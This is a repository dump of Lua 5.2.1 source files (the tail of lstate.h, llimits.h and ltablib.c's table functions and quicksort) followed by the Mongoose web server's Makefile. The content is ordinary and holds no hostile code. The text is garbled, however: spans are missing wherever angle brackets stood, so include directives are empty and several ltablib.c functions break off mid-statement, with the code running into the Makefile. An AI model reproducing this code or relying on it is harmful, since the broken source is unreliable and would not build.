compensated by the collector */ 117 | lu_mem GCmemtrav; /* memory traversed by the GC */ 118 | lu_mem GCestimate; /* an estimate of the non-garbage memory in use */ 119 | stringtable strt; /* hash table for strings */ 120 | TValue l_registry; 121 | unsigned int seed; /* randomized seed for hashes */ 122 | lu_byte currentwhite; 123 | lu_byte gcstate; /* state of garbage collector */ 124 | lu_byte gckind; /* kind of GC running */ 125 | lu_byte gcrunning; /* true if GC is running */ 126 | int sweepstrgc; /* position of sweep in `strt' */ 127 | GCObject *allgc; /* list of all collectable objects */ 128 | GCObject *finobj; /* list of collectable objects with finalizers */ 129 | GCObject **sweepgc; /* current position of sweep in list 'allgc' */ 130 | GCObject **sweepfin; /* current position of sweep in list 'finobj' */ 131 | GCObject *gray; /* list of gray objects */ 132 | GCObject *grayagain; /* list of objects to be traversed atomically */ 133 | GCObject *weak; /* list of tables with weak values */ 134 | GCObject *ephemeron; /* list of ephemeron tables (weak keys) */ 135 | GCObject *allweak; /* list of all-weak tables */ 136 | GCObject *tobefnz; /* list of userdata to be GC */ 137 | UpVal uvhead; /* head of double-linked list of all open upvalues */ 138 | Mbuffer buff; /* temporary buffer for string concatenation */ 139 | int gcpause; /* size of pause between successive GCs */ 140 | int gcmajorinc; /* how much to wait for a major GC (only in gen. mode) */ 141 | int gcstepmul; /* GC `granularity' */ 142 | lua_CFunction panic; /* to be called in unprotected errors */ 143 | struct lua_State *mainthread; 144 | const lua_Number *version; /* pointer to version number */ 145 | TString *memerrmsg; /* memory-error message */ 146 | TString *tmname[TM_N]; /* array with tag-method names */ 147 | struct Table *mt[LUA_NUMTAGS]; /* metatables for basic types */ 148 | } global_State; 149 | 150 | 151 | /* 152 | ** `per thread' state 153 | */ 154 | struct lua_State { 155 | CommonHeader; 156 | lu_byte status; 157 | StkId top; /* first free slot in the stack */ 158 | global_State *l_G; 159 | CallInfo *ci; /* call info for current function */ 160 | const Instruction *oldpc; /* last pc traced */ 161 | StkId stack_last; /* last free slot in the stack */ 162 | StkId stack; /* stack base */ 163 | int stacksize; 164 | unsigned short nny; /* number of non-yieldable calls in stack */ 165 | unsigned short nCcalls; /* number of nested C calls */ 166 | lu_byte hookmask; 167 | lu_byte allowhook; 168 | int basehookcount; 169 | int hookcount; 170 | lua_Hook hook; 171 | GCObject *openupval; /* list of open upvalues in this stack */ 172 | GCObject *gclist; 173 | struct lua_longjmp *errorJmp; /* current error recover point */ 174 | ptrdiff_t errfunc; /* current error handling function (stack index) */ 175 | CallInfo base_ci; /* CallInfo for first level (C calling Lua) */ 176 | }; 177 | 178 | 179 | #define G(L) (L->l_G) 180 | 181 | 182 | /* 183 | ** Union of all collectable objects 184 | */ 185 | union GCObject { 186 | GCheader gch; /* common header */ 187 | union TString ts; 188 | union Udata u; 189 | union Closure cl; 190 | struct Table h; 191 | struct Proto p; 192 | struct UpVal uv; 193 | struct lua_State th; /* thread */ 194 | }; 195 | 196 | 197 | #define gch(o) (&(o)->gch) 198 | 199 | /* macros to convert a GCObject into a specific value */ 200 | #define rawgco2ts(o) \ 201 | check_exp(novariant((o)->gch.tt) == LUA_TSTRING, &((o)->ts)) 202 | #define gco2ts(o) (&rawgco2ts(o)->tsv) 203 | #define rawgco2u(o) check_exp((o)->gch.tt == LUA_TUSERDATA, &((o)->u)) 204 | #define gco2u(o) (&rawgco2u(o)->uv) 205 | #define gco2lcl(o) check_exp((o)->gch.tt == LUA_TLCL, &((o)->cl.l)) 206 | #define gco2ccl(o) check_exp((o)->gch.tt == LUA_TCCL, &((o)->cl.c)) 207 | #define gco2cl(o) \ 208 | check_exp(novariant((o)->gch.tt) == LUA_TFUNCTION, &((o)->cl)) 209 | #define gco2t(o) check_exp((o)->gch.tt == LUA_TTABLE, &((o)->h)) 210 | #define gco2p(o) check_exp((o)->gch.tt == LUA_TPROTO, &((o)->p)) 211 | #define gco2uv(o) check_exp((o)->gch.tt == LUA_TUPVAL, &((o)->uv)) 212 | #define gco2th(o) check_exp((o)->gch.tt == LUA_TTHREAD, &((o)->th)) 213 | 214 | /* macro to convert any Lua object into a GCObject */ 215 | #define obj2gco(v) (cast(GCObject *, (v))) 216 | 217 | 218 | /* actual number of total bytes allocated */ 219 | #define gettotalbytes(g) ((g)->totalbytes + (g)->GCdebt) 220 | 221 | LUAI_FUNC void luaE_setdebt (global_State *g, l_mem debt); 222 | LUAI_FUNC void luaE_freethread (lua_State *L, lua_State *L1); 223 | LUAI_FUNC CallInfo *luaE_extendCI (lua_State *L); 224 | LUAI_FUNC void luaE_freeCI (lua_State *L); 225 | 226 | 227 | #endif 228 | 229 | -------------------------------------------------------------------------------- /lua-5.2.1/src/llimits.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: llimits.h,v 1.99 2012/05/28 20:32:28 roberto Exp $ 3 | ** Limits, basic types, and some other `installation-dependent' definitions 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef llimits_h 8 | #define llimits_h 9 | 10 | 11 | #include 12 | #include 13 | 14 | 15 | #include "lua.h" 16 | 17 | 18 | typedef unsigned LUA_INT32 lu_int32; 19 | 20 | typedef LUAI_UMEM lu_mem; 21 | 22 | typedef LUAI_MEM l_mem; 23 | 24 | 25 | 26 | /* chars used as small naturals (so that `char' is reserved for characters) */ 27 | typedef unsigned char lu_byte; 28 | 29 | 30 | #define MAX_SIZET ((size_t)(~(size_t)0)-2) 31 | 32 | #define MAX_LUMEM ((lu_mem)(~(lu_mem)0)-2) 33 | 34 | #define MAX_LMEM ((l_mem) ((MAX_LUMEM >> 1) - 2)) 35 | 36 | 37 | #define MAX_INT (INT_MAX-2) /* maximum value of an int (-2 for safety) */ 38 | 39 | /* 40 | ** conversion of pointer to integer 41 | ** this is for hashing only; there is no problem if the integer 42 | ** cannot hold the whole pointer value 43 | */ 44 | #define IntPoint(p) ((unsigned int)(lu_mem)(p)) 45 | 46 | 47 | 48 | /* type to ensure maximum alignment */ 49 | #if !defined(LUAI_USER_ALIGNMENT_T) 50 | #define LUAI_USER_ALIGNMENT_T union { double u; void *s; long l; } 51 | #endif 52 | 53 | typedef LUAI_USER_ALIGNMENT_T L_Umaxalign; 54 | 55 | 56 | /* result of a `usual argument conversion' over lua_Number */ 57 | typedef LUAI_UACNUMBER l_uacNumber; 58 | 59 | 60 | /* internal assertions for in-house debugging */ 61 | #if defined(lua_assert) 62 | #define check_exp(c,e) (lua_assert(c), (e)) 63 | /* to avoid problems with conditions too long */ 64 | #define lua_longassert(c) { if (!(c)) lua_assert(0); } 65 | #else 66 | #define lua_assert(c) ((void)0) 67 | #define check_exp(c,e) (e) 68 | #define lua_longassert(c) ((void)0) 69 | #endif 70 | 71 | /* 72 | ** assertion for checking API calls 73 | */ 74 | #if !defined(luai_apicheck) 75 | 76 | #if defined(LUA_USE_APICHECK) 77 | #include 78 | #define luai_apicheck(L,e) assert(e) 79 | #else 80 | #define luai_apicheck(L,e) lua_assert(e) 81 | #endif 82 | 83 | #endif 84 | 85 | #define api_check(l,e,msg) luai_apicheck(l,(e) && msg) 86 | 87 | 88 | #if !defined(UNUSED) 89 | #define UNUSED(x) ((void)(x)) /* to avoid warnings */ 90 | #endif 91 | 92 | 93 | #define cast(t, exp) ((t)(exp)) 94 | 95 | #define cast_byte(i) cast(lu_byte, (i)) 96 | #define cast_num(i) cast(lua_Number, (i)) 97 | #define cast_int(i) cast(int, (i)) 98 | #define cast_uchar(i) cast(unsigned char, (i)) 99 | 100 | 101 | /* 102 | ** non-return type 103 | */ 104 | #if defined(__GNUC__) 105 | #define l_noret void __attribute__((noreturn)) 106 | #elif defined(_MSC_VER) 107 | #define l_noret void __declspec(noreturn) 108 | #else 109 | #define l_noret void 110 | #endif 111 | 112 | 113 | 114 | /* 115 | ** maximum depth for nested C calls and syntactical nested non-terminals 116 | ** in a program. (Value must fit in an unsigned short int.) 117 | */ 118 | #if !defined(LUAI_MAXCCALLS) 119 | #define LUAI_MAXCCALLS 200 120 | #endif 121 | 122 | /* 123 | ** maximum number of upvalues in a closure (both C and Lua). (Value 124 | ** must fit in an unsigned char.) 125 | */ 126 | #define MAXUPVAL UCHAR_MAX 127 | 128 | 129 | /* 130 | ** type for virtual-machine instructions 131 | ** must be an unsigned with (at least) 4 bytes (see details in lopcodes.h) 132 | */ 133 | typedef lu_int32 Instruction; 134 | 135 | 136 | 137 | /* maximum stack for a Lua function */ 138 | #define MAXSTACK 250 139 | 140 | 141 | 142 | /* minimum size for the string table (must be power of 2) */ 143 | #if !defined(MINSTRTABSIZE) 144 | #define MINSTRTABSIZE 32 145 | #endif 146 | 147 | 148 | /* minimum size for string buffer */ 149 | #if !defined(LUA_MINBUFFER) 150 | #define LUA_MINBUFFER 32 151 | #endif 152 | 153 | 154 | #if !defined(lua_lock) 155 | #define lua_lock(L) ((void) 0) 156 | #define lua_unlock(L) ((void) 0) 157 | #endif 158 | 159 | #if !defined(luai_threadyield) 160 | #define luai_threadyield(L) {lua_unlock(L); lua_lock(L);} 161 | #endif 162 | 163 | 164 | /* 165 | ** these macros allow user-specific actions on threads when you defined 166 | ** LUAI_EXTRASPACE and need to do something extra when a thread is 167 | ** created/deleted/resumed/yielded. 168 | */ 169 | #if !defined(luai_userstateopen) 170 | #define luai_userstateopen(L) ((void)L) 171 | #endif 172 | 173 | #if !defined(luai_userstateclose) 174 | #define luai_userstateclose(L) ((void)L) 175 | #endif 176 | 177 | #if !defined(luai_userstatethread) 178 | #define luai_userstatethread(L,L1) ((void)L) 179 | #endif 180 | 181 | #if !defined(luai_userstatefree) 182 | #define luai_userstatefree(L,L1) ((void)L) 183 | #endif 184 | 185 | #if !defined(luai_userstateresume) 186 | #define luai_userstateresume(L,n) ((void)L) 187 | #endif 188 | 189 | #if !defined(luai_userstateyield) 190 | #define luai_userstateyield(L,n) ((void)L) 191 | #endif 192 | 193 | /* 194 | ** lua_number2int is a macro to convert lua_Number to int. 195 | ** lua_number2integer is a macro to convert lua_Number to lua_Integer. 196 | ** lua_number2unsigned is a macro to convert a lua_Number to a lua_Unsigned. 197 | ** lua_unsigned2number is a macro to convert a lua_Unsigned to a lua_Number. 198 | ** luai_hashnum is a macro to hash a lua_Number value into an integer. 199 | ** The hash must be deterministic and give reasonable values for 200 | ** both small and large values (outside the range of integers). 201 | */ 202 | 203 | #if defined(MS_ASMTRICK) /* { */ 204 | /* trick with Microsoft assembler for X86 */ 205 | 206 | #define lua_number2int(i,n) __asm {__asm fld n __asm fistp i} 207 | #define lua_number2integer(i,n) lua_number2int(i, n) 208 | #define lua_number2unsigned(i,n) \ 209 | {__int64 l; __asm {__asm fld n __asm fistp l} i = (unsigned int)l;} 210 | 211 | 212 | #elif defined(LUA_IEEE754TRICK) /* }{ */ 213 | /* the next trick should work on any machine using IEEE754 with 214 | a 32-bit int type */ 215 | 216 | union luai_Cast { double l_d; LUA_INT32 l_p[2]; }; 217 | 218 | #if !defined(LUA_IEEEENDIAN) /* { */ 219 | #define LUAI_EXTRAIEEE \ 220 | static const union luai_Cast ieeeendian = {-(33.0 + 6755399441055744.0)}; 221 | #define LUA_IEEEENDIANLOC (ieeeendian.l_p[1] == 33) 222 | #else 223 | #define LUA_IEEEENDIANLOC LUA_IEEEENDIAN 224 | #define LUAI_EXTRAIEEE /* empty */ 225 | #endif /* } */ 226 | 227 | #define lua_number2int32(i,n,t) \ 228 | { LUAI_EXTRAIEEE \ 229 | volatile union luai_Cast u; u.l_d = (n) + 6755399441055744.0; \ 230 | (i) = (t)u.l_p[LUA_IEEEENDIANLOC]; } 231 | 232 | #define luai_hashnum(i,n) \ 233 | { volatile union luai_Cast u; u.l_d = (n) + 1.0; /* avoid -0 */ \ 234 | (i) = u.l_p[0]; (i) += u.l_p[1]; } /* add double bits for his hash */ 235 | 236 | #define lua_number2int(i,n) lua_number2int32(i, n, int) 237 | #define lua_number2unsigned(i,n) lua_number2int32(i, n, lua_Unsigned) 238 | 239 | /* the trick can be expanded to lua_Integer when it is a 32-bit value */ 240 | #if defined(LUA_IEEELL) 241 | #define lua_number2integer(i,n) lua_number2int32(i, n, lua_Integer) 242 | #endif 243 | 244 | #endif /* } */ 245 | 246 | 247 | /* the following definitions always work, but may be slow */ 248 | 249 | #if !defined(lua_number2int) 250 | #define lua_number2int(i,n) ((i)=(int)(n)) 251 | #endif 252 | 253 | #if !defined(lua_number2integer) 254 | #define lua_number2integer(i,n) ((i)=(lua_Integer)(n)) 255 | #endif 256 | 257 | #if !defined(lua_number2unsigned) /* { */ 258 | /* the following definition assures proper modulo behavior */ 259 | #if defined(LUA_NUMBER_DOUBLE) 260 | #include 261 | #define SUPUNSIGNED ((lua_Number)(~(lua_Unsigned)0) + 1) 262 | #define lua_number2unsigned(i,n) \ 263 | ((i)=(lua_Unsigned)((n) - floor((n)/SUPUNSIGNED)*SUPUNSIGNED)) 264 | #else 265 | #define lua_number2unsigned(i,n) ((i)=(lua_Unsigned)(n)) 266 | #endif 267 | #endif /* } */ 268 | 269 | 270 | #if !defined(lua_unsigned2number) 271 | /* on several machines, coercion from unsigned to double is slow, 272 | so it may be worth to avoid */ 273 | #define lua_unsigned2number(u) \ 274 | (((u) <= (lua_Unsigned)INT_MAX) ? (lua_Number)(int)(u) : (lua_Number)(u)) 275 | #endif 276 | 277 | 278 | 279 | #if defined(ltable_c) && !defined(luai_hashnum) 280 | 281 | #include 282 | #include 283 | 284 | #define luai_hashnum(i,n) { int e; \ 285 | n = frexp(n, &e) * (lua_Number)(INT_MAX - DBL_MAX_EXP); \ 286 | lua_number2int(i, n); i += e; } 287 | 288 | #endif 289 | 290 | 291 | 292 | /* 293 | ** macro to control inclusion of some hard tests on stack reallocation 294 | */ 295 | #if !defined(HARDSTACKTESTS) 296 | #define condmovestack(L) ((void)0) 297 | #else 298 | /* realloc stack keeping its size */ 299 | #define condmovestack(L) luaD_reallocstack((L), (L)->stacksize) 300 | #endif 301 | 302 | #if !defined(HARDMEMTESTS) 303 | #define condchangemem(L) condmovestack(L) 304 | #else 305 | #define condchangemem(L) \ 306 | ((void)(!(G(L)->gcrunning) || (luaC_fullgc(L, 0), 1))) 307 | #endif 308 | 309 | #endif 310 | -------------------------------------------------------------------------------- /lua-5.2.1/src/ltablib.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: ltablib.c,v 1.63 2011/11/28 17:26:30 roberto Exp $ 3 | ** Library for Table Manipulation 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | 10 | #define ltablib_c 11 | #define LUA_LIB 12 | 13 | #include "lua.h" 14 | 15 | #include "lauxlib.h" 16 | #include "lualib.h" 17 | 18 | 19 | #define aux_getn(L,n) \ 20 | (luaL_checktype(L, n, LUA_TTABLE), luaL_len(L, n)) 21 | 22 | 23 | #if defined(LUA_COMPAT_MAXN) 24 | static int maxn (lua_State *L) { 25 | lua_Number max = 0; 26 | luaL_checktype(L, 1, LUA_TTABLE); 27 | lua_pushnil(L); /* first key */ 28 | while (lua_next(L, 1)) { 29 | lua_pop(L, 1); /* remove value */ 30 | if (lua_type(L, -1) == LUA_TNUMBER) { 31 | lua_Number v = lua_tonumber(L, -1); 32 | if (v > max) max = v; 33 | } 34 | } 35 | lua_pushnumber(L, max); 36 | return 1; 37 | } 38 | #endif 39 | 40 | 41 | static int tinsert (lua_State *L) { 42 | int e = aux_getn(L, 1) + 1; /* first empty element */ 43 | int pos; /* where to insert new element */ 44 | switch (lua_gettop(L)) { 45 | case 2: { /* called with only 2 arguments */ 46 | pos = e; /* insert new element at the end */ 47 | break; 48 | } 49 | case 3: { 50 | int i; 51 | pos = luaL_checkint(L, 2); /* 2nd argument is the position */ 52 | if (pos > e) e = pos; /* `grow' array if necessary */ 53 | for (i = e; i > pos; i--) { /* move up elements */ 54 | lua_rawgeti(L, 1, i-1); 55 | lua_rawseti(L, 1, i); /* t[i] = t[i-1] */ 56 | } 57 | break; 58 | } 59 | default: { 60 | return luaL_error(L, "wrong number of arguments to " LUA_QL("insert")); 61 | } 62 | } 63 | lua_rawseti(L, 1, pos); /* t[pos] = v */ 64 | return 0; 65 | } 66 | 67 | 68 | static int tremove (lua_State *L) { 69 | int e = aux_getn(L, 1); 70 | int pos = luaL_optint(L, 2, e); 71 | if (!(1 <= pos && pos <= e)) /* position is outside bounds? */ 72 | return 0; /* nothing to remove */ 73 | lua_rawgeti(L, 1, pos); /* result = t[pos] */ 74 | for ( ;pos 0) { /* at least one element? */ 125 | int i; 126 | lua_pushvalue(L, 1); 127 | lua_rawseti(L, -2, 1); /* insert first element */ 128 | lua_replace(L, 1); /* move table into index 1 */ 129 | for (i = n; i >= 2; i--) /* assign other elements */ 130 | lua_rawseti(L, 1, i); 131 | } 132 | return 1; /* return table */ 133 | } 134 | 135 | 136 | static int unpack (lua_State *L) { 137 | int i, e, n; 138 | luaL_checktype(L, 1, LUA_TTABLE); 139 | i = luaL_optint(L, 2, 1); 140 | e = luaL_opt(L, luaL_checkint, 3, luaL_len(L, 1)); 141 | if (i > e) return 0; /* empty range */ 142 | n = e - i + 1; /* number of elements */ 143 | if (n <= 0 || !lua_checkstack(L, n)) /* n <= 0 means arith. overflow */ 144 | return luaL_error(L, "too many results to unpack"); 145 | lua_rawgeti(L, 1, i); /* push arg[i] (avoiding overflow problems) */ 146 | while (i++ < e) /* push arg[i + 1...e] */ 147 | lua_rawgeti(L, 1, i); 148 | return n; 149 | } 150 | 151 | /* }====================================================== */ 152 | 153 | 154 | 155 | /* 156 | ** {====================================================== 157 | ** Quicksort 158 | ** (based on `Algorithms in MODULA-3', Robert Sedgewick; 159 | ** Addison-Wesley, 1993.) 160 | ** ======================================================= 161 | */ 162 | 163 | 164 | static void set2 (lua_State *L, int i, int j) { 165 | lua_rawseti(L, 1, i); 166 | lua_rawseti(L, 1, j); 167 | } 168 | 169 | static int sort_comp (lua_State *L, int a, int b) { 170 | if (!lua_isnil(L, 2)) { /* function? */ 171 | int res; 172 | lua_pushvalue(L, 2); 173 | lua_pushvalue(L, a-1); /* -1 to compensate function */ 174 | lua_pushvalue(L, b-2); /* -2 to compensate function and `a' */ 175 | lua_call(L, 2, 1); 176 | res = lua_toboolean(L, -1); 177 | lua_pop(L, 1); 178 | return res; 179 | } 180 | else /* a < b? */ 181 | return lua_compare(L, a, b, LUA_OPLT); 182 | } 183 | 184 | static void auxsort (lua_State *L, int l, int u) { 185 | while (l < u) { /* for tail recursion */ 186 | int i, j; 187 | /* sort elements a[l], a[(l+u)/2] and a[u] */ 188 | lua_rawgeti(L, 1, l); 189 | lua_rawgeti(L, 1, u); 190 | if (sort_comp(L, -1, -2)) /* a[u] < a[l]? */ 191 | set2(L, l, u); /* swap a[l] - a[u] */ 192 | else 193 | lua_pop(L, 2); 194 | if (u-l == 1) break; /* only 2 elements */ 195 | i = (l+u)/2; 196 | lua_rawgeti(L, 1, i); 197 | lua_rawgeti(L, 1, l); 198 | if (sort_comp(L, -2, -1)) /* a[i]= P */ 217 | while (lua_rawgeti(L, 1, ++i), sort_comp(L, -1, -2)) { 218 | if (i>=u) luaL_error(L, "invalid order function for sorting"); 219 | lua_pop(L, 1); /* remove a[i] */ 220 | } 221 | /* repeat --j until a[j] <= P */ 222 | while (lua_rawgeti(L, 1, --j), sort_comp(L, -3, -1)) { 223 | if (j<=l) luaL_error(L, "invalid order function for sorting"); 224 | lua_pop(L, 1); /* remove a[j] */ 225 | } 226 | if (j\" - use system versioned SSL shared object 16 | # -DCRYPTO_LIB=\"libcrypto.so.\" - use system versioned CRYPTO so 17 | # -DUSE_LUA - embed Lua in Mongoose (+100kb) 18 | 19 | PROG = mongoose 20 | CFLAGS = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe $(COPT) 21 | 22 | # To build with Lua, download and unzip Lua 5.2.1 source code into the 23 | # mongoose directory, and then add $(LUA_SOURCES) to CFLAGS 24 | LUA = lua-5.2.1/src 25 | LUA_FLAGS = -I$(LUA) -DLUA_COMPAT_ALL 26 | LUA_SOURCES = $(LUA)/lapi.c $(LUA)/lcode.c $(LUA)/lctype.c \ 27 | $(LUA)/ldebug.c $(LUA)/ldo.c $(LUA)/ldump.c \ 28 | $(LUA)/lfunc.c $(LUA)/lgc.c $(LUA)/llex.c \ 29 | $(LUA)/lmem.c $(LUA)/lobject.c $(LUA)/lopcodes.c \ 30 | $(LUA)/lparser.c $(LUA)/lstate.c $(LUA)/lstring.c \ 31 | $(LUA)/ltable.c $(LUA)/ltm.c $(LUA)/lundump.c \ 32 | $(LUA)/lvm.c $(LUA)/lzio.c $(LUA)/lauxlib.c \ 33 | $(LUA)/lbaselib.c $(LUA)/lbitlib.c $(LUA)/lcorolib.c \ 34 | $(LUA)/ldblib.c $(LUA)/liolib.c $(LUA)/lmathlib.c \ 35 | $(LUA)/loslib.c $(LUA)/lstrlib.c $(LUA)/ltablib.c \ 36 | $(LUA)/loadlib.c $(LUA)/linit.c 37 | LUA_WINOBJS = $(LUA_SOURCES:%.c=%.obj) 38 | 39 | ifneq ($(OS), Windows_NT) 40 | LUA_FLAGS += -DLUA_USE_DLOPEN 41 | endif 42 | 43 | # Stock windows binary builds with Lua and YASSL library. 44 | YASSL = ../cyassl-2.4.6 45 | YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \ 46 | -D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \ 47 | -D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \ 48 | -D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \ 49 | -D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H 50 | YASSL_SOURCES = \ 51 | $(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \ 52 | $(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \ 53 | $(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \ 54 | $(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \ 55 | $(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \ 56 | $(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \ 57 | $(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \ 58 | $(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \ 59 | $(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \ 60 | $(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \ 61 | $(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \ 62 | $(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \ 63 | $(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \ 64 | $(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \ 65 | $(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \ 66 | $(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c 67 | 68 | ALL_SOURCES = main.c mongoose.c build/sqlite3.c build/lsqlite3.c \ 69 | $(LUA_SOURCES) $(YASSL_SOURCES) 70 | ALL_OBJECTS = $(ALL_SOURCES:%.c=%.o) 71 | ALL_WINOBJS = $(ALL_SOURCES:%.c=%.obj) 72 | 73 | SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS 74 | MONGOOSE_FLAGS = -DNO_SSL_DL -DUSE_LUA -DUSE_LUA_SQLITE3 $(COPT) 75 | 76 | FLAGS = $(MONGOOSE_FLAGS) $(SQLITE_FLAGS) $(YASSL_FLAGS) $(LUA_FLAGS) 77 | 78 | # Using Visual Studio 6.0. To build Mongoose: 79 | # Set MSVC variable below to where VS 6.0 is installed on your system 80 | # Run "PATH_TO_VC6\bin\nmake windows" 81 | MSVC = ../vc6 82 | #DBG = /Zi /Od 83 | DBG = /DNDEBUG /O1 84 | CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /GA /I$(MSVC)/include 85 | LINK = $(MSVC)/bin/link /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \ 86 | user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib 87 | 88 | all: 89 | @echo "make (linux|bsd|solaris|mac|windows|mingw|cygwin)" 90 | 91 | %.obj: %.c 92 | $(CL) /c $(FLAGS) /Fo$@ $< 93 | 94 | %.o: %.c 95 | $(CC) -o $@ $< -c $(FLAGS) $(CFLAGS) 96 | 97 | # Lua library for Windows 98 | lua.lib: $(LUA_WINOBJS) 99 | $(MSVC)/bin/lib /out:$@ $(LUA_WINOBJS) 100 | 101 | # To build with lua, make sure you have Lua unpacked into lua-5.2.1 directory 102 | linux_lua: $(ALL_OBJECTS) 103 | $(CC) $(ALL_OBJECTS) -o $(PROG) -ldl 104 | 105 | mongoose.o: mod_lua.c 106 | 107 | # Make sure that the compiler flags come last in the compilation string. 108 | # If not so, this can break some on some Linux distros which use 109 | # "-Wl,--as-needed" turned on by default in cc command. 110 | # Also, this is turned in many other distros in static linkage builds. 111 | linux: 112 | $(CC) mongoose.c main.c -o $(PROG) -ldl $(CFLAGS) 113 | 114 | mac: bsd 115 | bsd: 116 | $(CC) mongoose.c main.c -o $(PROG) $(CFLAGS) 117 | 118 | bsd_lua: $(ALL_OBJECTS) 119 | $(CC) $(ALL_OBJECTS) -o $@ 120 | 121 | solaris: 122 | $(CC) mongoose.c main.c -lnsl -lsocket -o $(PROG) $(CFLAGS) 123 | 124 | lib$(PROG).a: $(ALL_OBJECTS) 125 | ar cr $@ $(ALL_OBJECTS) 126 | 127 | $(PROG).lib: $(ALL_WINOBJS) 128 | $(MSVC)/bin/lib /out:$@ $(ALL_WINOBJS) 129 | 130 | # For codesign to work in non-interactive mode, unlock login keychain: 131 | # security unlock ~/Library/Keychains/login.keychain 132 | # See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html 133 | Mongoose: mongoose.c main.c 134 | $(CC) mongoose.c main.c build/lsqlite3.c build/sqlite3.c \ 135 | -DUSE_COCOA $(CFLAGS) $(FLAGS) -mmacosx-version-min=10.4 \ 136 | $(YASSL_SOURCES) $(LUA_SOURCES) \ 137 | -framework Cocoa -ObjC -arch i386 -arch x86_64 -o Mongoose 138 | 139 | cocoa: Mongoose 140 | V=`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`; DIR=dmg/Mongoose.app && rm -rf $$DIR && mkdir -p $$DIR/Contents/{MacOS,Resources} && install -m 644 build/mongoose_*.png $$DIR/Contents/Resources/ && install -m 644 build/Info.plist $$DIR/Contents/ && install -m 755 Mongoose $$DIR/Contents/MacOS/ && ln -fs /Applications dmg/ ; hdiutil create Mongoose_$$V.dmg -volname "Mongoose $$V" -srcfolder dmg -ov #; rm -rf dmg 141 | 142 | un: 143 | $(CC) test/unit_test.c -o unit_test -I. -I$(LUA) $(LUA_SOURCES) \ 144 | $(CFLAGS) -g -O0 145 | ./unit_test 146 | 147 | wi: 148 | $(CL) test/unit_test.c $(LUA_SOURCES) $(LUA_FLAGS) \ 149 | $(YASSL_SOURCES) $(YASSL_FLAGS) /I. /DNO_SSL_DL \ 150 | /link /libpath:$(MSVC)/lib advapi32.lib /out:unit_test.exe 151 | ./unit_test.exe 152 | 153 | windows: $(ALL_WINOBJS) 154 | $(MSVC)/bin/rc build/res.rc 155 | $(LINK) /nologo $(ALL_WINOBJS) build/res.res /out:$(PROG).exe 156 | 157 | # Build for Windows under MinGW 158 | #MINGWDBG= -DDEBUG -O0 -ggdb 159 | MINGWDBG= -DNDEBUG -Os 160 | MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT) 161 | mingw: 162 | windres build\res.rc build\res.o 163 | $(CC) $(MINGWOPT) mongoose.c -lws2_32 \ 164 | -shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll 165 | $(CC) $(MINGWOPT) mongoose.c main.c build\res.o \ 166 | -lws2_32 -ladvapi32 -lcomdlg32 -o $(PROG).exe 167 | 168 | # Build for Windows under Cygwin 169 | #CYGWINDBG= -DDEBUG -O0 -ggdb 170 | CYGWINDBG= -DNDEBUG -Os 171 | CYGWINOPT= -W -Wall -mthreads -Wl,--subsystem,console $(CYGWINDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT) 172 | cygwin: 173 | windres ./build/res.rc ./build/res.o 174 | $(CC) $(CYGWINOPT) mongoose.c -lws2_32 \ 175 | -shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll 176 | $(CC) $(CYGWINOPT) -Ibuild mongoose.c main.c ./build/res.o \ 177 | -lws2_32 -ladvapi32 -o $(PROG).exe 178 | 179 | tests: 180 | perl test/test.pl $(TEST) 181 | 182 | tarball: clean 183 | F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar -czf x mongoose/{LICENSE,Makefile,examples,test,build,*.[ch],*.md} && mv x mongoose/$$F 184 | 185 | release: tarball cocoa 186 | wine make windows 187 | V=`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`; upx mongoose.exe; cp mongoose.exe mongoose-$$V.exe; cp mongoose.exe mongoose_php_bundle/; zip -r 